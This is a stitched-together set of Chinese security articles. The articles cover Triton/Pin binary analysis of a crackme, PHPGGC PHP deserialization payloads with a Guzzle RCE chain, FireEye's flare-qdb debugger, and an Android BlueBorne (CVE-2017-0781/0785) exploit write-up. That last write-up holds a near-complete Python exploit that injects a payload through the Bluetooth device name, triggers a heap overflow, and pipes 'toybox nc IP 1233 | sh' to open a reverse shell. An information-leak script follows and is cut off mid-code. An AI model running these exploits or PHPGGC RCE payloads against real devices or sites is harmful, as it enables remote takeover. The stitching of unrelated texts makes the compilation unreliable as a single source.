#!/usr/bin/env python2
## -*- coding: utf-8 -*-
from pintool import *
from triton import ARCH
count = 0
def mycb(inst):
global count
count += 1
def fini():
print("Instruction count : ", count)
if __name__ == '__main__':
ctx = getTritonContext()
ctx.enableSymbolicEngine(False)
ctx.enableTaintEngine(False)
# 从程序入口开始插桩
startAnalysisFromEntry()
# 在每条指令执行前调用 mycb
insertCall(mycb, INSERT_POINT.BEFORE)
# 程序运行完毕后的回调函数
insertCall(fini, INSERT_POINT.FINI)
runProgram()
这个脚本的作用是统计被测程序从 `Entry` 开始执行过的指令条数。
* 首先通过 `getTritonContext` 从 `pintools` 里面获取一个 `TritonContext` 实例用于维持程序执行过程中的状态信息，比如污点传播的信息，符号执行的信息等。
* 然后为了节省效率关闭了污点分析和符号执行引擎。
* 然后使用 `startAnalysisFromEntry` 设置 `pin` 在程序入口时进行插桩。
* 通过 `insertCall` 可以在程序执行的过程中设置回调函数，监控程序的执行。比如 `INSERT_POINT.BEFORE` 就是在每次指令执行的时候会调用回调函数，回调函数接收一个参数表示接下来要执行的指令。`INSERT_POINT.FINI` 表示在程序执行完毕后调用回调函数。为了统计运行的指令只需要在指令执行 `count += 1` 即可。
* 准备好 `pin` 的参数后，就可以 `runProgram` 运行程序了。
使用了 `pintool` 模块的脚本需要用编译目录下的 `triton` 来加载脚本执行。脚本执行的语法的是
sudo ./build/triton 脚本的路径 要运行的目标应用程序 目标应用程序的参数
下面对 `crackme_xor` 插桩得到的结果。
hac425@ubuntu:~/pin-2.14-71313-gcc.4.4.7-linux/source/tools/Triton$ sudo ./build/triton src/examples/pin/learn/count_inst.py src/samples/crackmes/crackme_xor aaaaa
fail
('Instruction count : ', 59417)
在 `Triton` 中我们可以指定 `pin` 插桩的位置，可以用的 `api` 如下
startAnalysisFromAddress(addr)
# 从 addr 开始插桩程序
startAnalysisFromEntry()
# 从程序入口, 即 start 函数开始分析
startAnalysisFromOffset(integer offset)
# 从程序的偏移处开始分析
同时 triton 支持以下几种指令执行过程中的回调
INSERT_POINT.AFTER | 每条指令执行之后，执行回调函数
---|---
INSERT_POINT.BEFORE | 每条指令执行之前，执行回调函数
INSERT_POINT.BEFORE_SYMPROC | 每条指令符号化处理之前，执行回调函数
INSERT_POINT.FINI | 程序运行结束后
INSERT_POINT.ROUTINE_ENTRY | 进入函数时
INSERT_POINT.ROUTINE_EXIT | 退出函数时
INSERT_POINT.IMAGE_LOAD | 镜像加载到内存时
INSERT_POINT.SIGNALS | 出现一个信号时
INSERT_POINT.SYSCALL_ENTRY | 系统调用执行前
INSERT_POINT.SYSCALL_EXIT | 系统调用执行后
详细的信息可以看官方文档
https://triton.quarkslab.com/documentation/doxygen/py_INSERT_POINT_page.html
特别的，对于指令执行相关的回调，它们的执行顺序是
BEFORE_SYMPROC
ir processing, 做污点分析与符号执行相关的操作
BEFORE
Pin ctx update， 执行指令， 修改 TritonContext 里面的运行时信息
AFTER
# 污点分析
之前我们通过模拟执行的方式使用了污点分析的功能，这节介绍使用 `pin` 来在程序运行过程中实现污点分析，还是以 `crachme_xor` 为例
#!/usr/bin/env python2
# -*- coding: utf-8 -*- from triton import ARCH, MemoryAccess, OPERAND
from pintool import *
Triton = getTritonContext()
def cbeforeSymProc(instruction):
if instruction.getAddress() == 0x400556:
rdi = getCurrentRegisterValue(Triton.registers.rdi)
# 内存要对齐
Triton.taintMemory(MemoryAccess(rdi, 8))
def cafter(inst):
if inst.isTainted():
# print('[tainted] %s' % (str(inst)))
if inst.isMemoryRead():
for op in inst.getOperands():
if op.getType() == OPERAND.MEM:
print("read:0x{:08x}, size:{}".format(
op.getAddress(), op.getSize()))
if inst.isMemoryWrite():
for op in inst.getOperands():
if op.getType() == OPERAND.MEM:
print("write:0x{:08x}, size:{}".format(
op.getAddress(), op.getSize()))
if __name__ == '__main__':
startAnalysisFromSymbol('check')
insertCall(cbeforeSymProc, INSERT_POINT.BEFORE_SYMPROC)
insertCall(cafter, INSERT_POINT.AFTER)
runProgram()
* 首先设置 `pin` 从 `check` 函数开始插桩
* 然后为 `BEFORE_SYMPROC` 和 `AFTER` 设置回调函数。
* `cbeforeSymProc` 函数的作用就是在进入 `check` 函数的时候，设置参数对应的内存区域为污点源，之后程序的执行就可以实现污点传播了。
* `cafter` 的作用是打印对污点内存的访问情况。
执行结果如下：
hac425@ubuntu:~/pin-2.14-71313-gcc.4.4.7-linux/source/tools/Triton$ sudo ./build/triton ./src/examples/pin/learn/taint.py ./src/samples/crackmes/crackme_xor elite
[sudo] password for hac425:
read:0x7ffcd5b8d626, size:1
read:0x7ffcd5b8d627, size:1
read:0x7ffcd5b8d628, size:1
read:0x7ffcd5b8d629, size:1
read:0x7ffcd5b8d62a, size:1
Win
# 符号执行
本节还是以 `crackme_xor` 为例介绍基于 `pin` 的符号执行的使用。triton
支持快照功能，我们可以在执行待分析函数之前拍个快照，然后在后面某个时间恢复快照就可以继续从快照点开始执行了，如图所示:
脚本如下:
# -*- coding: utf-8 -*- # sudo ./build/triton ./src/examples/pin/learn/crackme_xor_snapshot.py ./src/samples/crackmes/crackme_xor a
from triton import ARCH
from pintool import *
import sys
password = dict()
cur_char_ptr = None
Triton = getTritonContext()
def csym(instruction):
global cur_char_ptr
# print(instruction)
# 目标函数的入口地址， 第一次执行就拍个快照
if instruction.getAddress() == 0x400556 and isSnapshotEnabled() == False:
takeSnapshot()
return
if instruction.getAddress() == 0x400574:
rax = getCurrentRegisterValue(Triton.registers.rax)
cur_char_ptr = rax # 每次取字符的地址
# 如果这个位置已经求出解了，就设置解
if rax in password:
setCurrentMemoryValue(rax, password[rax])
return
# check 函数的结尾, 判断返回值是否满足要求
if instruction.getAddress() == 0x4005b2:
rax = getCurrentRegisterValue(Triton.registers.rax)
# 如果 rax 不是 0 ， 说明还需要继续求解
if rax != 0:
# 恢复快照，继续运行
restoreSnapshot()
else:
disableSnapshot()
# 把解由地址从低往高开始打印
addrs = password.keys()
addrs.sort()
answer = ""
for addr in addrs:
c = chr(password[addr])
answer += c
print("0x{:08x}: {}".format(addr, c))
print("answer: {}".format(answer))
return
return
def cafter(instruction):
global password
# print(instruction)
# 0000400574 movzx eax, byte ptr [rax]
# 执行完 0x400574 后， rax 里面存放的是刚刚从输入字符串中取出的字符
# 将取出的字符设置为符号量， 后面用来求解
if instruction.getAddress() == 0x400574:
var = Triton.convertRegisterToSymbolicVariable(Triton.registers.rax)
return
# 400597 cmp ecx, eax
# 开始求解约束
if instruction.getAddress() == 0x400597:
astCtxt = Triton.getAstContext()
zf = Triton.getRegisterAst(Triton.registers.zf)
# 如果正确的话，需要 zf == 1， 增加约束
cstr = astCtxt.land([
Triton.getPathConstraintsAst(),
zf == 1
])
models = Triton.getModel(cstr)
for k, v in list(models.items()):
# 把计算的结果保存
password.update({cur_char_ptr: v.getValue()})
return
return
def fini():
print('[+] Analysis done!')
return
if __name__ == '__main__':
setupImageWhitelist(['crackme_xor'])
startAnalysisFromAddress(0x0400556)
insertCall(cafter, INSERT_POINT.AFTER)
insertCall(csym, INSERT_POINT.BEFORE_SYMPROC)
insertCall(fini, INSERT_POINT.FINI)
runProgram()
脚本的流程如下
* 通过 `setupImageWhitelist` 设置分析镜像的白名单，减少程序的运行时间。
* 通过 `startAnalysisFromAddress` 设置 `pin` 从 `0x0400556` （即 check函数的入口）分析。
* 然后设置了几个回调。
在程序第一次进入 `0x400556` 时使用 `takeSnapshot` 拍摄一个快照， 然后在 `0x0400597`
这个位置设置约束条件不断求出解，最后在函数执行完毕后检查返回值，如果返回值不为 `0` 说明解还没有完全求出，那么恢复快照继续去求解。
脚本运行如下：
hac425@ubuntu:~/pin-2.14-71313-gcc.4.4.7-linux/source/tools/Triton$ sudo ./build/triton ./src/examples/pin/learn/crackme_xor_snapshot.py ./src/samples/crackmes/crackme_xor a
0x7ffc3471661f: e
0x7ffc34716620: l
0x7ffc34716621: i
0x7ffc34716622: t
0x7ffc34716623: e
answer: elite
Win
[+] Analysis done!
除了手动设置约束外，我们还可以基于分支指令的约束来不断的求出解，如下所示
#!/usr/bin/env python2
## -*- coding: utf-8 -*- ## sudo ./build/triton ./src/examples/pin/learn/path_constraints.py ./src/samples/crackmes/crackme_xor a
## [+] 10 bytes tainted from the argv[1] (0x7ffd4a50c60e) pointer
from triton import *
from pintool import *
TAINTING_SIZE = 10
Triton = getTritonContext()
def tainting(threadId):
rdi = getCurrentRegisterValue(Triton.registers.rdi) # argc
rsi = getCurrentRegisterValue(Triton.registers.rsi) # argv
# 将 argv 的最后一个参数设置为符号量
while rdi > 1:
argv = getCurrentMemoryValue(rsi + ((rdi-1) * CPUSIZE.QWORD), CPUSIZE.QWORD)
offset = 0
while offset != TAINTING_SIZE:
Triton.taintMemory(argv + offset)
concreteValue = getCurrentMemoryValue(argv + offset)
Triton.setConcreteMemoryValue(argv + offset, concreteValue)
Triton.convertMemoryToSymbolicVariable(MemoryAccess(argv + offset, CPUSIZE.BYTE))
offset += 1
print('[+] %02d bytes tainted from the argv[%d] (%#x) pointer' %(offset, rdi-1, argv))
rdi -= 1
return
def fini():
pco = Triton.getPathConstraints()
astCtxt = Triton.getAstContext()
for pc in pco:
if pc.isMultipleBranches():
b1 = pc.getBranchConstraints()[0]['constraint']
b2 = pc.getBranchConstraints()[1]['constraint']
seed = list()
# Branch 1
models = Triton.getModel(b1)
for k, v in list(models.items()):
seed.append(v)
# Branch 2
models = Triton.getModel(b2)
for k, v in list(models.items()):
seed.append(v)
if seed:
print('进入分支B1的要求: %s (%c) | 进入分支B2的要求: %s (%c)' %(seed[0], chr(seed[0].getValue()), seed[1], chr(seed[1].getValue())))
return
if __name__ == '__main__':
# Start the symbolic analysis from the 'main' function
startAnalysisFromSymbol('main')
# Align the memory
Triton.enableMode(MODE.ALIGNED_MEMORY, True)
# Only perform the symbolic execution on the target binary
setupImageWhitelist(['crackme_xor'])
# Add callbacks
insertCall(tainting, INSERT_POINT.ROUTINE_ENTRY, 'main')
insertCall(fini, INSERT_POINT.FINI)
# Run the instrumentation - Never returns
runProgram()
这个脚本的作用是在进入 `main` 函数前将命令行参数设置为符号量， 然后在程序执行完毕后，对搜集到的约束条件进行遍历，
对其中的分支指令，对每种分支的约束进行求解，然后打印进入每条分支需要的值。
运行结果如下：
# 参考
<https://triton.quarkslab.com/documentation/doxygen/#install_sec>
<https://github.com/JonathanSalwan/Triton/tree/master/src/examples/python>
<https://github.com/JonathanSalwan/Triton/tree/master/src/examples/pin>
<https://0x48.pw/2017/04/02/0x30/> | 社区文章 |
## 背景：
PHPGGC是一款能够自动生成主流框架的序列化测试payload的工具,可以说是反序列化的武器库,平时遇到有关反序列化的题目时如果能够熟练运用它，将节省大量功夫，之前只知道有这个工具但是并没有好好研究研究它，于是便有了此文，若是哪里说的不对，还请师傅们指出。
## 1.PHPGGC工具介绍：
项目地址：<https://github.com/ambionics/phpggc>
运行phpggc 的条件是php cli的版本>=5.6
通过./phpggc -l
可以列出所有可利用的组件，其中每条都包括组件的名称、版本范围、可利用其进行的操作(文件读写或RCE)、攻击向量(例如__destruct)
通过./phpggc 组件名 -i 可以显示与组建相关的信息，其中就包括了具体生成攻击payload所需要的参数
以上图为例，生成laravel/rce1的payload需要提供函数名以及传给该函数的参数
因此使用：./phpggc Laravel/RCE1 system id 即可生成payload
对于只能满足写文件需求的组件例如，要利用必须知道网站的绝对路径，例如目标网站绝对路径为/var/www/html，需要写入shell.php
，写入的文件位于我们本机的/tmp/data，则需要执行：
PHPGGC中的-w参数还可以对序列化的数据进行一个再次包装处理：
a.在形成序列化数据之前调用其来更改序列化的对象,若存在以下漏洞点，接收参数为一个二维数组，那么我们需要对其中message键对应的值进行反序列化：
<?php
$data = unserialize($_GET['data']);
print $data['message'];
此时可以自己利用PHPGGC提供的process_object($object)，即data对应的值不是一个序列化的字符串，而data['message']的值才应该是一个序列化后的字符串，这里只需要将要序列化的对象的值赋给message，即可以使用：
<?php
# /tmp/w.php
function process_object($object)
{
return array(
'message' => $object
);
}
这里将序列化对象的值赋给了message，并且返回为一个数组，然后再对数组进行serialize()函数处理，形成序列化的数据,运行结果如下：
由上图可以看出经过再次包装处理，序列化的数据成了一个包含一个元素的数组的序列化数据，即a:1
b.在形成序列化数据以后对序列化数据进行更改，这里举个最简单的例子，将id字符串更改为ls
由图中可以看到此时已经成功进行更改，当然稍微复杂一点的更改可以针对实际情况进行调整要更改的字符串，比如<https://xz.aliyun.com/t/2912>
中easy_lavarel题目最后要更改一下要删除编译后模板文件的路径。
phpggc也支持payload编码功能，例如./phpggc -b -u -u slim/rce1 system
id,对生成的序列化数据先进行base64编码，再进行两次urlencode编码
使用-f参数进行快速反序列化，即在unserialize()函数以后立即销毁对象，而不是在php脚本运行结束以后，建议在组件的攻击向量为__destruct时进行使用。
使用--plus-numbers可以用来bypass，如果waf检测序列化数据中是否包含php对象是通过正则O:[0-9]+来判断，则可以通过O:+123代替O:123来绕过，其中types是指要在何种数据类型的数字前加“+”,比如O就是PHP对象，i就是int类型数据。
## 2.PHPGGC实践
上一个部分对PHPGGC工具的使用方法有了一个基本的了解，接下来需要利用实践环境进行一个实践操作，知道其具体应如何使用：
环境：
CVE-2017-6920 YAML 解析器处理不当导致的一个远程代码执行漏洞
<https://github.com/Medicean/VulApps/tree/master/d/drupal/1>
这里以Guzzle/RCE1为例子进行分析，来对drupal进行测试：
在PHPGGC中，pop链在gadgets.php文件中，pop链的逻辑和描述在chain.php文件中
chain.php
<?php
namespace GadgetChain\Guzzle;
class RCE1 extends \PHPGGC\GadgetChain\RCE
{
public static $version = '6.0.0 <= 6.3.2';
public static $vector = '__destruct';
public static $author = 'proclnas';
public static $informations = '
This chain requires GuzzleHttp\Psr7 < 1.5.0, because FnStream cannot be
deserialized afterwards.
See https://github.com/ambionics/phpggc/issues/34
';
public function generate(array $parameters)
{
$function = $parameters['function'];
$parameter = $parameters['parameter'];
return new \GuzzleHttp\Psr7\FnStream([
'close' => [
new \GuzzleHttp\HandlerStack($function, $parameter),
'resolve'
]
]);
}
}
从其中可以看到其对使用该组件的描述，要求GuzzleHttp\Psr7的版本要小于1.5.0，具体的逻辑在generate成员方法中，其中入口参数为数组parameters，其包括function和parameter两个参数，分别为要进行rce的函数和函数的参数，其返回的即是\GuzzleHttp\Psr7\FnStream的匿名对象，其入口参数为一个数组，数组包括一个数组元素，键名为close，键值为一个数组，包括\GuzzleHttp\HandlerStack匿名对象，以及resolve字符串，至此构造序列化对象的逻辑结束，接下来结合gadgets.php看一下整个链是如何连起来的:
gadgets.php:
<?php
namespace Psr\Http\Message
{
interface StreamInterface{}
}
namespace GuzzleHttp\Psr7
{
class FnStream implements \Psr\Http\Message\StreamInterface
{
private $methods;
public function __construct(array $methods)
{
$this->methods = $methods;
foreach ($methods as $name => $fn) {
$this->{'_fn_' . $name} = $fn;
}
}
/*
public function __destruct()
{
if (isset($this->_fn_close)) {
call_user_func($this->_fn_close);
}
}
public function close()
{
return call_user_func($this->_fn_close);
}
*/
}
}
namespace GuzzleHttp
{
class HandlerStack
{
private $handler;
private $stack;
private $cached = false;
function __construct($function, $parameter)
{
$this->stack = [[$function]];
$this->handler = $parameter;
}
/*
public function resolve()
{
if (!$this->cached) {
if (!($prev = $this->handler)) {
throw new \LogicException('No handler has been specified');
}
foreach (array_reverse($this->stack) as $fn) {
$prev = $fn[0]($prev);
}
$this->cached = $prev;
}
return $this->cached;
}
*/
}
}
在类HandlerStack的构造方法中传入了rce要使用的函数及参数，并赋值给$this->stack和$this->handler，然后在类FnStream的构造方法中传入包含键close的数组，此时将会拼接出:
_fn_close=[new\GuzzleHttp\HandlerStack($function, $parameter),'resolve']
_fn_close的第一个元素其实已经实例化为一个匿名对象了，这里为了好理解先写成实例化前的形式。然后在FnStream的__destruct()函数中将会调用$this->_fn_close，即构成：
call_user_func([new \GuzzleHttp\HandlerStack($function,
$parameter),'resolve'])
以上这种调用的形式在php官方文档中存在此种调用类中方法的形式：
所以此时关注类HandlerStack的resolve方法,其中将利用php的动态函数的性质来构成rce的函数调用，比如此时假设：
[new \GuzzleHttp\HandlerStack($function, $parameter),'resolve']=>
[new \GuzzleHttp\HandlerStack("system", "id"),'resolve']
即此时$prev参数首先经过$prev = $this->handler以后为id，接着经过foreach
(array_reverse($this->stack) as
$fn)，$fn将为包含一个元素的数组["system"],然后经过$fn[0]即为system，即$prev即为system("id");最后函数调用返回再传入call_user_func，即构成call_user_func(system("id"))
;
到此，整个调用链已经分析结束，实现的原理也清楚了，接下来利用其生成的序列化payload来测试一下,因为生成的序列化数据里面含有空字节，因此将payload输出到文件中使用php的addslashes函数转义一下：
接着就可以加上在序列化数据前加上YAML_PHP_TAG，即!php/object 标签
由上图可以看到此时已经成功执行system("id")。
## 参考
* <https://github.com/ambionics/phpggc> | 社区文章 |
# 【技术分享】使用FireEye实验室的“面向查询的调试器”研究程序的动态状态
|
##### 译文声明
本文是翻译文章，文章来源：fireeye.com
原文地址：<https://www.fireeye.com/blog/threat-research/2017/01/flare_script_series.html>
译文仅供参考，具体内容表达以及含义原文为准。
译者：[She11c0d3@XDSEC](http://bobao.360.cn/member/contribute?uid=29730900)
预估稿费：200RMB
投稿方式：发送邮件至linwei#360.cn，或登陆网页版在线投稿
**
**
**介绍**
本文是FireEye实验室高级逆向工程（ **FLARE** ，FireEye Labs Advanced Reverse
Engineering）脚本系列的续作。
**flare-qdb** 是一款用Python编写的命令行工具，使用[
**Vivisect**](https://github.com/vivisect/vivisect)在应用程序上设定断点，并在断点触发时执行回调代码。flare-qdb旨在给逆向工程师提供一种快速的、方便的途径，来对应用程序的执行环境进行大规模的、半自动或全自动化的修改。flare-qdb可以在Windows或者Linux上工作，你可以在我们的[Github页面](https://www.github.com/fireeye/flare-qdb)上查看更多信息。
**初衷**
要对复杂的或精心混淆过的恶意软件进行分析，动态调试是必不可少的一步。在调试过程中，单纯的按照指令流向进行分析，往往会对多线程执行、寄存器修改、循环内状态或是一些特定指令的执行情况。比如，工程师可能会忽视某个寄存器的值，而当他注意到这个值是已经执行过的某个函数的输入参数，而这个函数又对逆向过程起着关键的作用，就为时已晚了。如果要从头开始整个调试过程，或对结果做详细的日志记录，无疑会打断分析者的思路。
因此，分析人员需要注意所有指令或函数，并判断这些指令到底是对执行过程具有关键性的影响，还是仅仅会成为分析过程中的一个小插曲。错误的决定，往往意味着浪费时间。因此，如果我们像查询数据库一样，查询软件执行过程中的状态，那就方便多了，如：
sql
SELECT eax, poi(ebp-0x14) FROM malware.exe WHERE eip = 0x401072
因此，我们开发了一款命令行工具，能够高效的进行这样的查询。下面的介绍将为您展示，这款工具如何在恶意软件逆向、场景重建以及CTF比赛中应用。
**用法**
flare-qdb的基础用法是这样的：
flareqdb "命令行参数" -at 地址 "python命令"
分析人员可以随心所欲的选择，他们是想执行命令、修改PC数值、检查条件，还是显示程序执行状态。flare-qdb自身提供了一些函数，可以用来修改执行状态。如：
向kernel32!Beep函数传递的两个DWORD参数是什么？
-at kernel32.Beep –eval "dd('esp+4', 2)"
如果执行0x401072时eax为0，则终止程序
-at 0x401072 -if eax==0 -eval "kill()"
在特定地址处，自动修改ecx的值
-at malwaremodule+0x102a -eval "r('ecx', '(ebp-0x14)*eax')
在特定地址处，自动修改某个内存的值
-at 0x401003 -eval "memset('ebp-0x14', 0x2a, 4)"
**命令行调用**
flare-qdb的一种用法是，直接在命令行中运行。比如，当程序中某个循环涉及到字符串时，flare-qdb会很有用。下图展示了这个工具如何在函数的每一次迭代中，将栈上的一个字符串dump出来。从输出可以推测，这个变量应该指向将要处理的字符串，这个字符串的来源是程序的首个参数（即argv[1])。
下面的这个例子是2016年FLARE-On
Challenge的第四题（警告：还没做的最好别看，想看完整解法的看[这里](https://www.fireeye.com/content/dam/fireeye-www/global/en/blog/threat-research/flareon2016/challenge4-solution.pdf)）。在flareon2016challenge.dll这个文件中，一个解码后的PE文件有一连串对kernel32!Beep的调用。分析人员需要按顺序截获这些调用，从而找到正确的flag。下图就是如何用一条命令完成这些工作。
flareqdb还可以强制执行某个分支，对函数指针解引用，或验证反汇编中找到的可疑函数是否有意义。以下图中的程序为例，这个程序只有在满足一些条件之后才会去调用一个C++虚函数，而了解这个虚函数是什么，或许能帮助分析人员确定这个函数的调用者，并了解攻击者的指令服务器向肉鸡发送了什么数据。
我们使用flareqdb，就可以将前面的判断过程绕过，并逐步跳转到被0x4029A4处执行的函数指针。由于有了vivisect的协助，flareqdb可以将这块地址中的指令反编译，来验证这里存放的到底是不是一个函数，如下图所示。控制流从0x4016b5被强制定向到0x4016bb，之后将0x4029a4处的指令dump出来。
结合下图中IDA反编译的结果，我们可以发现，这个函数是`basic_streambuf::xputn`，这个函数会向文件中插入数个字符。这也意味着，CC下发的可能是一个写文件的命令。
**在Python中使用flareqdb模块**
flareqdb还可作为一个python模块被调用，从而在更复杂的场合中发挥他的威力。下图是某个提权工具的一部分，这个工具检查了
**GetVersionExW** 、 **NetWkstaGetInfo** 和 **IsWow64Process**
函数的返回，之后通过WMI，利用CVE-2016-0040进行提权。
看起来这个工具可以在版本号为5.1、6.0或6.1的32位Windows上运行。下图则演示了一个脚本，通过反复的执行这个工具，模拟GetVersionExW、NetWkstaGetInfo的返回值，检查程序是否执行到了指定位置，来判断这个工具在哪些版本的Windows中可用。脚本将版本信息等参数传递给Qdb的实例，这些参数会被用于回调两个用来修改返回值的参数。其中，GetVersionExW的返回值使用OSVERSIONINFOEXW结构体的定义修改，而NetWkstaGetInfo的返回值则用WKSTA_INFO_100结构体中的内容手动修改。
下图的输出刚好验证了我们的判断：
下一个例子则较为复杂。工程师需要将某个二进制文件多次脱壳，并探明脱壳后的文件镜像被注入到了内存的何处，下图的脚本则会帮助完成这个工作。脚本在脱壳后清理现场的调用处设置断电，并使用vivisect的envi模块来检查内存中有哪些被设置为RWX权限的内存区域不是由文件映射而来的。之后，在调用`detach()`之前，脚本调用了qdb内置的`park`函数，从而让文件陷入死循环。这样，分析人员就可以附加上调试器，并继续分析了。
下图展示了这个脚本运行的情况：
图11中可以看到，用WinDbg+IDA Pro挂载到待调试的程序后，可以发现它已经在死循环中了。qdb还将旧的EIP保存下来，以便继续分析。
被这样终止的程序，我们称其为处于“空转”状态的程序。这时候，我们很方便的对恶意软件的执行情况做一个快照，也可以多次附加到该程序来检查和标注代码。此外，因为同一个操作系统进程可以被多个调试会话多次跟踪，而在多个调试器中，由Qdb所执行脚本申请的内存是不变的。因此，在IDA
Pro中为这段代码做的标记仍然会保存。而如果像之前一样多次重复执行一个程序的话，由于VirtualAlloc返回的内存地址不同，标注也会被丢掉。
**总结**
如果你不想让被调试进程停止正常运行，那么flare-qdb这一命令行工具能够让你在这一前提下，快速探明二进制程序的执行状态。此外，这一工具还可以对程序的运行状态进行更改，并模拟新的运行环境。在进行一些复杂的研究工作时，flare-qdb通过提供一个脚本环境，让研究人员可以任意伪造程序的运行环境。在字符串解码、恶意软件解包，和一些通用的软件分析工作中，这一功能可以说是很重要的。
你可以到flare-qdb的[Github页面](https://github.com/fireeye/flare-qdb)中了解这一工具的更多信息。 | 社区文章 |
### Author: thor@MS509Team
在上一篇文章[Android蓝牙远程命令执行漏洞利用实践:从PoC到exploit](https://xianzhi.aliyun.com/forum/read/2287.html)中，我们介绍了Android的蓝牙远程命令执行漏洞CVE-2017-0781的漏洞利用过程，但是exploit还有些缺点，导致exploit成功率不够高。前段时间armis给出了他们的exploit
[https://github.com/ArmisSecurity/blueborne]()，我们赶紧git
clone下来学习一波，并结合他们的一些漏洞利用思路，对我们之前的exploit进行了一些优化升级，大大提高了漏洞利用的稳定性和利用成功率。
## 0x00 测试环境
1. Android手机: Nexus 6p
2. Android系统版本: android 7.0 userdebug
3. Ubuntu 16 + USB蓝牙适配器
为了调试方便，nexus 6p刷了自己编译的AOSP 7.0 userdebug版本，google官方的release版本经测试也是可以成功利用的。
## 0x01 exploit优化
我们之前的exploit利用不够稳定主要是因为第一步远程注入payload的时候，我们暂时没有找到稳定的注入方法，只有通过堆喷方式去注入，这就导致payload不能稳定的注入到我们期望的内存地址上。通过研究armis的exploit发现，他们使用了一种比较巧妙的方式注入payload，注入很稳定。armis的方法是将蓝牙适配器的名称改为需要注入的payload，然后再通过蓝牙BNEP协议去连接目标手机，那么目标手机会将请求连接的蓝牙名称缓存到`btm_cb.acl_db`结构体中，而`btm_cb`是bluetooth.default.so中的一个全局变量，存放在内存中bluetooth.default.so的bss段，内存地址是可以根据基址和偏移量计算得到的，因此可以稳定的将payload注入到蓝牙进程的一个相对固定的内存地址。
`btm_cb`是`tBTM_CB`结构体类型，其定义部分内容如下：
其中有个`tACL_CONN`结构体数组，其定义部分内容如下：
其中的`remote_name`成员变量便是我们注入payload的位置。
注入payload主要用到的函数如下：
def set_bt_name(payload, src_hci, dst):
MAX_BT_NAME = 0xf5
BNEP_PSM = 15
# Create raw HCI sock to set our BT name
raw_sock = bt.hci_open_dev(bt.hci_devid(src_hci))
flt = bt.hci_filter_new()
bt.hci_filter_all_ptypes(flt)
bt.hci_filter_all_events(flt)
raw_sock.setsockopt(bt.SOL_HCI, bt.HCI_FILTER, flt)
# Send raw HCI command to our controller to change the BT name (first 3 bytes are padding for alignment)
raw_sock.sendall(binascii.unhexlify('01130cf8cccccc') + payload.ljust(MAX_BT_NAME, b'\x00'))
raw_sock.close()
time.sleep(0.1)
# Connect to BNEP to "refresh" the name (does auth)
bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bnep.connect((dst, BNEP_PSM))
bnep.close()
# Close ACL connection
os.system('hcitool dc %s' % (dst,))
其中，payload参数是我们要注入的内容，dst是目标手机的蓝牙MAC地址。
我们将注入的payload设置为：
payload = struct.pack('<III', 0xaaaa1722, 0x41414141, system_addr) + b'";\n' + b'toybox nc 192.168.2.1 1233 | sh ' + b'\n#'
运行测试注入脚本，我们通过gdb调试可以看到payload成功注入：
这里有个需要注意的地方就是payload不能包含0x00等坏字符，不然会被截断。
现在我们知道可以将payload注入到`btm_cb.acl_db`结构体的`remote_name`变量，且`btm_cb`是放在bluetooth.default.so的bss段，如下所示：
因此，我们只要知道了bluetooth.default.so在内存中加载的bss段基址，那么就可以通过基址加偏移量计算得到`remote_name`变量在内存中的位置，从而知道payload在内存中的位置。bluetooth.default.so在内存中的相关加载基址是可以通过CVE-2017-0785信息泄露漏洞获取到。
我们优化了注入payload的方式之后，exploit的第二步不变，因此可得到优化版本的exploit脚本：
from pwn import *
import bluetooth,time,binascii
from bluetooth import _bluetooth as bt
libc_base = 0xecd3d000
system_addr = libc_base + 0x64a30 + 1
bluetooth_base_addr = 0xd11e2000
osi_alloc_addr = bluetooth_base_addr + 0x15b885
osi_free_addr = bluetooth_base_addr + 0x15b8e5
bluetooth_default_bss_base = 0xd139b000
acl_name_addr = bluetooth_default_bss_base + 0xc2d24
def set_bt_name(payload, src_hci, dst):
MAX_BT_NAME = 0xf5
BNEP_PSM = 15
# Create raw HCI sock to set our BT name
raw_sock = bt.hci_open_dev(bt.hci_devid(src_hci))
flt = bt.hci_filter_new()
bt.hci_filter_all_ptypes(flt)
bt.hci_filter_all_events(flt)
raw_sock.setsockopt(bt.SOL_HCI, bt.HCI_FILTER, flt)
# Send raw HCI command to our controller to change the BT name (first 3 bytes are padding for alignment)
raw_sock.sendall(binascii.unhexlify('01130cf8cccccc') + payload.ljust(MAX_BT_NAME, b'\x00'))
raw_sock.close()
time.sleep(0.1)
# Connect to BNEP to "refresh" the name (does auth)
bnep = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bnep.connect((dst, BNEP_PSM))
bnep.close()
# Close ACL connection
os.system('hcitool dc %s' % (dst,))
def insert_payload(src_hci, target, cmd_str):
payload = p32(acl_name_addr+0x20)*2 + '\x01\x01\x01\x01' + p32(system_addr) + p32(acl_name_addr+0x14) + p32(osi_alloc_addr) + p32(osi_free_addr)+ '\x01'*8 + p32(acl_name_addr+0x28) + cmd_str + b'\n'*(48-len(cmd_str))
set_bt_name(payload, src_hci, target)
def heap_overflow(acl_name_addr):
pkt2 = '\x81\x01\x00'+ p32(acl_name_addr) * 8
sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
sock.connect((target, 0xf))
for i in range(3000):
sock.send(pkt2)
data = sock.recv(1024)
sock.close()
if __name__ == "__main__":
if len(sys.argv) < 4:
print 'No argvs specified.'
sys.exit()
src_hci = sys.argv[1]
target = sys.argv[2]
reverse_shell_ip = sys.argv[3]
cmd_str = b"toybox nc %s 1233 | sh "%(reverse_shell_ip) + b"\n#"
print "start payload insert "
insert_payload(src_hci, target, cmd_str)
time.sleep(1)
print "start heap overflow "
heap_overflow(acl_name_addr)
exploit脚本中的那些硬编码的基址是可以通过信息泄露漏洞获取的，而那些硬编码的偏移量则是在libc.so和bluetooth.default.so中找到的，不同机型及系统都需要做适配。
exploit脚本测试第一步是在本地机器上运行监听反弹shell的脚本：
然后在插上蓝牙适配器的Ubuntu上运行exploit:
最后就是静等反弹shell：
经过优化后，我们的exploit一般运行1~3次便能成功执行，nice!
## 0x02 关于CVE-2017-0785信息泄露
CVE-2017-0785信息泄露漏洞网上分析有很多了，armis的exploit中也有给出他们的信息泄露脚本，这里我也把我们组@heeeeen大牛编写的脚本放出来：
from pwn import *
import bluetooth
pthread_start_off = 0x66a6d
sdp_conn_timer_timeout_off = 0x136350
def packet_leak(service, continuation_state):
pkt = '\x02\x00\x00'
pkt += p16(7 + len(continuation_state))
pkt += '\x35\x03\x19'
pkt += p16(service)
pkt += '\x01\x00'
pkt += continuation_state
return pkt
def info_leak(target):
service_long = 0x0100
service_short = 0x0001
mtu = 50
n = 30
sock = bluetooth.BluetoothSocket(bluetooth.L2CAP)
bluetooth.set_l2cap_mtu(sock, mtu)
context.endian = 'big'
